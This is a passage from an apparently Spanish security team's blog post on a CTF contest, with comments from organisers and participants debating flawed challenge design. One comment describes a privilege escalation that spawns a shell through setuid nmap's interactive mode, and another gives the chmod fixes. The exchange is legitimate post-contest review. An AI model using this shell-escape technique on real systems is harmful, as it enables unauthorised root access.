También se han descubierto diferentes fallos de implementación (como la 08, que te daba la key sin disponer del token; o los permisos de "nmap" que te permitían saltarte niveles y además neutralizar el avance al resto de concursantes) y de inestabilidad (en especial, en las pruebas shells: la máquina se quedaba sin recursos). En un concurso de estas características estos detalles se deberían de cuidar.

4 comments:

  1. Como ya os comentamos en su momento, la prueba de la bastilla con el nmap con setuid a un usuario concreto y obvio, era así. Buscábamos que alguien ejecutara "nmap --interactive" y luego llamara al shell desde dentro con !sh o !bash. Vosotros lo resolvistéis con otra aproximación (como siempre digo, uno no deja de sorprenderse con lo que ve :) ).

    La parte del token la quisimos "suavizar" levemente para que se pudieran repetir pruebas y colaran con cierta facilidad.

    Con lo que tuvimos muchos problemas fue con el OCR (era tesseract en el backend) que, curiosamente, aún ajustando el umbral en muchos casos le quitaba los espacios a las peticiones. La prueba no salió todo lo bien que hubiera sido deseable, pero conseguistéis sacarla por lo que tampoco fue un desastre (aunque casi).

    La inestabilidad es algo que tendremos que ver cómo corregimos el año que viene, estoy de acuerdo en que fue muy molesto y mal planificado por nuestra parte, la verdad.

    Enhorabuena, no solamente por lo que se ve (el informe), es que lo que no se ve (.caps y sebeks) es espectacular :)

    ReplyDelete
  2. Lo que no era correcto de la prueba de nmap no era la forma de explotarla (que puede haber variantes -eso ya depende del juego que ofrezca el propio binario-) ni que fuera suid (tenía que serlo para que se pudiera escalar privilegios). El fallo eran los permisos del binario, que:

    1/ Permitían ejecución para cualquier usuario ("others"). Esto significa que se podía invocar directamente, no hacía falta pasar por las pruebas/binarios anteriores (¡te podías saltar pruebas!). Fix: chmod o-rwx nmap.

    2/ Tenía permiso de escritura por parte del owner. Esto significa que una vez explotado se podía sobreescribir su contenido y por tanto, invalidar el binario (lo que impediría al resto de concursantes seguir avanzando). Fix: chmod u-w nmap.

    ReplyDelete
  3. El nmap estaba ahí metido como "ayuda" para que se pudiera saltar la cadena de elevaciones y pasar directamente a tener permisos de eleva4. En casi todas las pruebas (salvo las que tenían crypto) había "tricks" y caminos alternativos para llegar, en algunos casos más rápido.

    ¿Por qué motivo íbamos a dejar un nmap con setuid y con ese dueño en concreto? Pues precisamente para que cualquier usuario pudiera elevar al 4 sin pasar por la casilla de salida.

    Sin olvidar que era una bastilla, ahí una vez, un participante, controlado el nmap como bien indicas era lógico que lo eliminara o lo "retocara".

    De hecho, nosotros especulábamos con la idea de que en vez de anular los accesos el que se hiciera con las bastillas las iba a dejar abiertas y "manipuladas", para tener a los otros participantes entretenidos con pruebas que no iban a llegar a ninguna parte.

    De hecho, a muchos les coló la trampita (no la pusimos nosotros) del fichero de pistas en el /tmp de alguna máquina :)

    ReplyDelete
  4. Si de verdad es cierto que los permisos incorrectos estaban así adrede (tengo mis dudas y podría argumentar por qué pero bueno, no lo discutiré, no lleva a ninguna parte), sinceramente no le veo sentido... Primero, porque era algo trivial de descubrir (no tiene mucho mérito aprovechar ese supuesto "atajo adrede"). Segundo, porque favorece al que va primero, anulando al resto de participantes (si lo que se busca precisamente es la máxima participación de la gente e incluso tratar de equiparar y dar oportunidades a todos se está consiguiendo el efecto contrario). Tercero, tampoco es sensato que os curréis unas pruebas que realmente no hace falta jugarlas (no las juegan ni los ganadores ni el resto de equipos; para mí eso es desperdiciar recursos).

    Respecto a lo del /tmp, aunque las reglas lo permitían, tampoco estoy de acuerdo porque se altera el juego: no hace sino crear más incertidumbre y favorecer a los jugadores/equipos más potentes, que son los que normalmente irán siempre por delante y sacarán partido de los "tricks".

    Por último, la enorme puntuación asignada a las bastillas y el "solo puntúa el primero, que además puede hacer rm -rf si lo desea" hace que el juego se reduzca a ganar las bastillas: prácticamente el que resolviera las bastillas tenía el concurso asegurado. Y de hecho así nos ocurrió a nosotros, que seguimos resolviendo pruebas simplemente por placer (o masoquismo, según se mire), no porque necesitáramos los puntos :)

    En fin, yo no voy a darle más vueltas (esto es el blog de int3pids; no el de sugerencias de la Rooted). Espero que con críticas constructivas como la nuestra y por supuesto del resto de participantes, os quede claro cómo mejorar de cara a futuras ediciones, que al fin y al cabo es de lo que se trata.

    No hay de qué :)

    ReplyDelete